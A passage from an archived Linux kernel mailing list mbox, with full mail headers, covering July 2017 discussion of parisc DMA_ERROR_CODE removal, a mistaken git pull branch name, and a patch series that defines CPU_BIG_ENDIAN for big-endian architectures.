	for glpp-linux-parisc@m.gmane.org; Wed, 05 Jul 2017 22:33:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752970AbdGEUdk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 16:33:40 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:52725 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752967AbdGEUdj (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 16:33:39 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
        :References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=PH5K3rrUJa2jNv+sw6GGeHeMkCt7IYKzi2svEc1TLIY=; b=UmCCA4oYJqaxww4wa9wA84nAL
        XDw0QwB37UPuBnxsVcEW1/VOf/dt7DYJFcsHGj10lHxVhxXYX+OXvqZGe1TOhUEqq8AGOmVJQ6SbI
        YOEK9xP9wZX5zSRbyqU53YMyoQL4WiviflCfPiwhFE5g8gqzk6eMsSvi0oerU3Cwh0+YsCdY2C/JY
        rDHmbH5TG49vyJ/SvoBSA7wCYV7fHIMfa4SQ20ybtBqUfDKRBbROZu88vnkbcjfjOIeggtsaNjdMV
        fzyqqX3AtPh0Wn/UIidp3YOufem9BYciWI0zPnFaOIdhFsaQQhoizOfQRm/kLisu2X2OKa7rkaFvx
    
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.87 #1 (Red Hat Linux))
        id 1dSqzP-0002sD-TD; Wed, 05 Jul 2017 20:33:35 +0000
Content-Disposition: inline
In-Reply-To: <9de25038-5a0e-697d-dfb4-b6eb65189079@gmx.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27539 gmane.linux.kernel:2517379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27539>

On Wed, Jul 05, 2017 at 09:36:09PM +0200, Helge Deller wrote:
> On 05.07.2017 20:57, Christoph Hellwig wrote:
> > I've got a tree pending that removes DMA_ERROR_CODE, and it's been
> > in linux-next for a while.
> 
> I had the parisc patch in for-next as well and didn't received
> any warnings.

There are no warnings, as the macro just won't be used by common code
anymore.

But the commit is from July 3rd, and the pull request to Linus for
it was merged on the same day.  I can't see how it could have been
in linux-next for long.  It certainly wasn't in the last linux-next
release that I looked at before the long weekend (the July 30 one)

> Can we please change this to something like 
> "Prepare parisc to get rid of DMA_ERROR_CODE tree-wide" ?
> It's somewhat more neutral.

Fine with me.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma
 ops on non dma devs
Date: Wed, 5 Jul 2017 22:51:55 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <6808d165-9cf9-21d2-a9ad-633a9130999c@gmx.de>
References: <20170703084920.142A9508094@solo.franken.de>
 <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
 <20170705185756.GA18087@infradead.org>
 <9de25038-5a0e-697d-dfb4-b6eb65189079@gmx.de>
 <20170705203335.GA10792@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499287962 15361 195.159.176.226 (5 Jul 2017 20:52:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 20:52:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 05 22:52:38 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dSrHp-0003lP-4s
	for glk-linux-kernel-3@m.gmane.org; Wed, 05 Jul 2017 22:52:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753052AbdGEUwk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 5 Jul 2017 16:52:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:65383 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752138AbdGEUwi (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 5 Jul 2017 16:52:38 -0400
Original-Received: from [192.168.20.60] ([193.159.18.197]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MfVYB-1d4rHL049T-00P5rV; Wed, 05
 Jul 2017 22:51:56 +0200
In-Reply-To: <20170705203335.GA10792@infradead.org>
X-Provags-ID: V03:K0:FyaFabmyMhRR8IuGt6A1ykTViq8FJmxkAZnno/9S/YyrBGD4Q5q
 kg+6M1XcTteQOuk6qQke5n+07rTJGjawh4Yv5S11N8VPgvzENDQriP2XnhSi4ItSaikDJrW
 quAAeijJrT8ExZ3Didjv3+K9a/fYKPrjojcB8yTLzMdSM6NayclyCyvkUwyO4WBdtLay3du
 48li9B0JSnbJhYRRtMVgA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Y/2BB1O1TcE=:M0Wzo4W74fRJOFEJwRffmJ
 GheuJPDTEKRMKv8n8WtAmWHLmiTi7rk7oaX1poXU1jBLxKeIt5Tj/aB+YLPhr3js4qmXXVjHA
 ShKQtAk4xD2TVz6azUshypfjRBB7IETn+Wr59PCQ1SZpuS6D+OgrNe7ioqgWjh5kt8cEn7/Ks
 CJ59iAmlDTAmSBpw0TLyAAMmhCtKpypx57b8YRcCG9kjWefyriEVmGQC67/IcJVkLm6oDq7d/
 ceXSZFEmNqrSbq8/o5ZrrecC3ziXi1Mp0NPGbxIysUy0BCIrQd9bfeMs0ekDrPqBbqh0fmMBc
 /iJ2zV4TuP2B18NYE8e0Me2340z75KNcMgBdqpNAfptMxY8xW6CxFbWLJfZbokv3WmlmLKLPB
 aet45V5TTxgHTB1e6w2AHKf8QA8dp7ztg1ib7rf9xqT8XOs5V1mQYPyLbo/EboOg7uNprFife
 ha00RhQH0FrLjL+AP6VlzFcdHPHRa+wjOo0IayDBU0NJShoYqiuqLxqz9pAq8031H6JFg0Pjh
 Eb/pzeUTLs3SFne7zIi3kskz/lY6cTnY1p+hqFPOCO4cEJzRsg4w5rVbvETk55h1saT+5OTDV
 jMeQryS1QRdz/VVBlKo8V/ibHiRSnmd98BEPczSff1QE6BjjrwBA7HotxQ5k6oavMtfy8w4iX
 +ZHKul6ZJciqrSU0A/NGOVyTbRZMR8wTvh/W4eWIjLlB7+NCd+5z7PRSLBhUBD/nkCWpgPBQw
 eLE9BG7aHND0Sq1dMK78PPK8itII4Ff8767nZXCe0S1KndaGh0ARjLseVQIfayLDJA0ZpPlI 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2517396 gmane.linux.ports.parisc:27540
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2517396>

On 05.07.2017 22:33, Christoph Hellwig wrote:
> On Wed, Jul 05, 2017 at 09:36:09PM +0200, Helge Deller wrote:
>> On 05.07.2017 20:57, Christoph Hellwig wrote:
>>> I've got a tree pending that removes DMA_ERROR_CODE, and it's been
>>> in linux-next for a while.
>>
>> I had the parisc patch in for-next as well and didn't received
>> any warnings.
> 
> There are no warnings, as the macro just won't be used by common code
> anymore.

And that's the reason why I didn't checked.
The generic DMA_ERROR_CODE has been there since 3.13 (or something
like that), so I don't think anybody would have assumed that it's
planned to vanish.
On the other side the patch fixed a real kernel crash on parisc,
and the patch applies as-is down to 3.13.
With that in mind, technically it's good that the parisc patch went in 
before yours.

> But the commit is from July 3rd, and the pull request to Linus for
> it was merged on the same day.  I can't see how it could have been
> in linux-next for long.  It certainly wasn't in the last linux-next
> release that I looked at before the long weekend (the July 30 one)

True.
Anyway, let's get your patch in now.

>> Can we please change this to something like 
>> "Prepare parisc to get rid of DMA_ERROR_CODE tree-wide" ?
>> It's somewhat more neutral.
> 
> Fine with me.

I did not changed it.

Helge


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] one parisc patch for v4.13-rc1
Date: Wed, 5 Jul 2017 17:41:13 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <CA+55aFyKxGhoJNkv2+U0PWS8MtvsJ+PgpT8YJjRPJHqME5G+Jg@mail.gmail.com>
References: <20170705202854.GA14623@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1499301684 17840 195.159.176.226 (6 Jul 2017 00:41:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 00:41:24 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 06 02:41:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSur5-00083Z-4r
	for glpp-linux-parisc@m.gmane.org; Thu, 06 Jul 2017 02:41:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752157AbdGFAlU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 20:41:20 -0400
Original-Received: from mail-oi0-f45.google.com ([209.85.218.45]:35991 "EHLO
        mail-oi0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751914AbdGFAlT (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 20:41:19 -0400
Original-Received: by mail-oi0-f45.google.com with SMTP id x187so4182933oig.3;
        Wed, 05 Jul 2017 17:41:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=UawzP7DP+odaAjMbEh/HzQ4hxMdNSD8rkdujy7L+xrk=;
        b=LQuS3caeui/2tScKx70Xv6Zf2D9ktbX7qLj/vogPTfDxZfxE+ommghTVSGNlFgfKvO
         6ik4HKnZVWvhNzxNUgr2q9ykhSlMt8PAXpXJ9vAkXKfkZLrmW5qoL6xPBbGIVKzoYep0
         vY8MuyIYgNQJ4ziI6hj9err5cbp8Z9f/f3QdnRD/SWFEDY+NmOQpoRRSIciH3H3r72Io
         CYlzm6dhYqvRDyAtDFhST3z5yIyD09FqD7kn/vGXjAfCc0iyFQtfNR7u0dt8AuAnNbLB
         X8+gwy3WILfzlZgbf0obGIBvnokrFwndeym4HNkJllbOW1D6LZ5oFV6Hw+JAxVWQH25o
         Mqxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=UawzP7DP+odaAjMbEh/HzQ4hxMdNSD8rkdujy7L+xrk=;
        b=kQNenJEp2R4Ai2KK0H9Tld2KDHNI7+ab8o+7BPbGGiQvosPOj+6GVUQjWZPwbMSu62
         SkM1zqGniGBhzPyzl61BfNy5HgZKX8RMGMp8f0SG/NanSSkdHW7gPs4jeyj/0pl0VlC2
         KcfQyrZ2YCJPaNf02N75icQc+VTTP/sgMkwIvDc7hu21b0RLelz/K2FLoOXbXRqLpL4J
         4lCIVTYA7OvKRqToffz8pzyQJmpa5yzdvnpp0uHtp8HmeSDIUmYORHWPeEr5k32FXrwm
         kmP4EOaDgeorBbqzF8uKi2mER9P4kM0zhpdMcaxKWL24BR8SV+I+njqgGPPzarVC9vnD
         61sg==
X-Gm-Message-State: AKS2vOxtH9N++689icPqFOZrj0XmgQ2svo48+ojn7Dyot8qQ1LrRZbER
        V5H2nknCa4NIMX9wcOJG70GpJbN/hQ==
X-Received: by 10.202.60.69 with SMTP id j66mr34245060oia.76.1499301674046;
 Wed, 05 Jul 2017 17:41:14 -0700 (PDT)
Original-Received: by 10.182.162.10 with HTTP; Wed, 5 Jul 2017 17:41:13 -0700 (PDT)
In-Reply-To: <20170705202854.GA14623@p100.box>
X-Google-Sender-Auth: pi6uVO7Je-dP38yucv34RlU4cEY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27541 gmane.linux.kernel:2517573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27541>

On Wed, Jul 5, 2017 at 1:28 PM, Helge Deller <deller@gmx.de> wrote:
>
> That said, can you please pull it from
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-1
> before you pull Christophs dma-mapping tree ?
>
> Changes:
> - Drop DMA_ERROR_CODE and convert to ->mapping_error (by Christoph Hellwig)

There are no such changes there.

Did you perhaps mean 'parisc-4.13-2' instead?

                Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] one parisc patch for v4.13-rc1
Date: Wed, 5 Jul 2017 17:42:22 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <CA+55aFxVUdn53ZXr53rG=uppc6K-bdXv3=hrd-18L3+COQDMSQ@mail.gmail.com>
References: <20170705202854.GA14623@p100.box> <CA+55aFyKxGhoJNkv2+U0PWS8MtvsJ+PgpT8YJjRPJHqME5G+Jg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1499301750 30210 195.159.176.226 (6 Jul 2017 00:42:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 00:42:30 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 06 02:42:26 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dSusA-0007Lc-49
	for glk-linux-kernel-3@m.gmane.org; Thu, 06 Jul 2017 02:42:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752727AbdGFAmZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 5 Jul 2017 20:42:25 -0400
Original-Received: from mail-oi0-f44.google.com ([209.85.218.44]:35463 "EHLO
        mail-oi0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752357AbdGFAmX (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 5 Jul 2017 20:42:23 -0400
Original-Received: by mail-oi0-f44.google.com with SMTP id 191so4240562oii.2;
        Wed, 05 Jul 2017 17:42:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=THFB8WqPn+jXKD3EZGSoXsFLz8d1W+clQCeFWnzCoqo=;
        b=tGQS/XJPmGarYv0QUEtJ32L5DvltoCkwo5cTJtcUvzycLCtAYgirxyyO5jNeUFGYP+
         lGPk40LstsAyvCzgjD24Oa7yyYZsN8CqlNkye5mAOf5KobHj4nWZDRx2DJ2tsWcccBdi
         F+aZsDByu79B6RPvrV5b6/XEUsxXpo9nj4u/PuF5ibBIDxeDzNuz+yEmFMbmyZSUoOS1
         MJ+pFI2chXm7PGxN0xkUfX345LPnN8GWjPUAWoUyk2NqoHfOl2MQ805LELzg2SKDTGdg
         qgQ+Zpd/PjsW3aBdD4NpYCdsnglOcTAKlnMThRtwwU9NR8e+tkis0C6GlnHOElEpCOjm
         N7+w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=THFB8WqPn+jXKD3EZGSoXsFLz8d1W+clQCeFWnzCoqo=;
        b=VYwUvPUnR3wTnOf/fSUtJh/loMr8GBVGuDEsFRCSgwd8sNg4/jq2cZ1FCTuFDTA8qz
         Kk/pMewP0WA+EOe9fdNCr28VScantdH0FnehiqS1YKtBfNnyhiLUNDm65ZbKCqfxJzIw
         8uOtbkgmI/Ni/wEITZKxhvyKAsAUXA6kOLc6flEIn4m1mokErEH+5dmXalMHESIjd0pp
         OBAE6GLAXCq4N9Uj8x5Gwb4vOKgh7dqLoSk6VRNoCzN7AWWbthCWYCCw2rYCsWoSLm6K
         phhyRnJcNXx3vK6eK5jW7DWZBuc0XtGMNvsEuhhR2/ajcGc5xGxOHUAsLUkWuC+JmdP6
         DSsQ==
X-Gm-Message-State: AKS2vOws6Lk9ZJiYyNBwsgjr6IciU5XzWyzLwjHMMFLCuoebbIdDKwsl
        uGQh6b2YAuIIquqULh1UDzxe93zj3w==
X-Received: by 10.202.72.201 with SMTP id v192mr34309586oia.131.1499301743100;
 Wed, 05 Jul 2017 17:42:23 -0700 (PDT)
Original-Received: by 10.182.162.10 with HTTP; Wed, 5 Jul 2017 17:42:22 -0700 (PDT)
In-Reply-To: <CA+55aFyKxGhoJNkv2+U0PWS8MtvsJ+PgpT8YJjRPJHqME5G+Jg@mail.gmail.com>
X-Google-Sender-Auth: IT2upg_8U1QLzhz4eB5KQqP6crE
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2517575 gmane.linux.ports.parisc:27542
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2517575>

On Wed, Jul 5, 2017 at 5:41 PM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> On Wed, Jul 5, 2017 at 1:28 PM, Helge Deller <deller@gmx.de> wrote:
>>
>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-1
>
> Did you perhaps mean 'parisc-4.13-2' instead?

Yeah, that branch seems to match what you describe, the -1 branch
hasn't changed since you asked me to pull it earlier.

               Linus


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 0/3] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Thu,  6 Jul 2017 09:34:18 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499358968 12722 195.159.176.226 (6 Jul 2017 16:36:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 16:36:08 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: gregkh@linuxfoundation.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jul 06 18:36:00 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dT9l0-0002HI-35
	for glpm-linux-m68k@m.gmane.org; Thu, 06 Jul 2017 18:35:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751813AbdGFQgD (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Thu, 6 Jul 2017 12:36:03 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:42643 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751796AbdGFQgC (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Thu, 6 Jul 2017 12:36:02 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v66GYgN5007588
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:43 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYf3F017088
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:41 GMT
Original-Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYYaT024573;
        Thu, 6 Jul 2017 16:34:34 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 06 Jul 2017 09:34:34 -0700
X-Mailer: git-send-email 1.7.1
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9428 gmane.linux.kernel:2518213 gmane.linux.ports.parisc:27543 gmane.linux.ports.sparc:25826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9428>

Resending the series per Greg KH's request.

Found this problem while enabling queued rwlock on SPARC.
The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
specific byte in qrwlock structure. Without this parameter,
we clear the wrong byte.
Here is the code in include/asm-generic/qrwlock.h

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
  {
         return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
  }

Also found few more references of this parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Here is our previous discussion.
https://lkml.org/lkml/2017/5/24/620

Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
parisc and sparc). And warn if there are inconsistencies in this definition.

v2 -> v3:
 Added the choice statement for endianness selection for microblaze.
 Updated the Makefile for microblaze(Suggested by Arnd Bergmann) to
 properly compile for the correct format.
 Updated acks.

v1 -> v2:
 Updated the commit messages and acks.

Babu Moger (3):
  arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
  arch/microblaze: Add choice for endianness and update Makefile
  include: warn for inconsistent endian config definition

 arch/frv/Kconfig                        |    3 +++
 arch/h8300/Kconfig                      |    3 +++
 arch/m68k/Kconfig                       |    3 +++
 arch/microblaze/Kconfig                 |   16 ++++++++++++++++
 arch/microblaze/Makefile                |    2 ++
 arch/openrisc/Kconfig                   |    3 +++
 arch/parisc/Kconfig                     |    3 +++
 arch/sparc/Kconfig                      |    3 +++
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 10 files changed, 44 insertions(+), 0 deletions(-)


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 3/3] include: warn for inconsistent endian config definition
Date: Thu,  6 Jul 2017 09:34:21 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <1499358861-179979-4-git-send-email-babu.moger@oracle.com>
References: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499358973 13772 195.159.176.226 (6 Jul 2017 16:36:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 16:36:13 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: gregkh@linuxfoundation.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 06 18:36:07 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dT9l7-0003Ch-HQ
	for glk-linux-kernel-3@m.gmane.org; Thu, 06 Jul 2017 18:36:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752257AbdGFQgI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 6 Jul 2017 12:36:08 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:42674 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751796AbdGFQgF (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
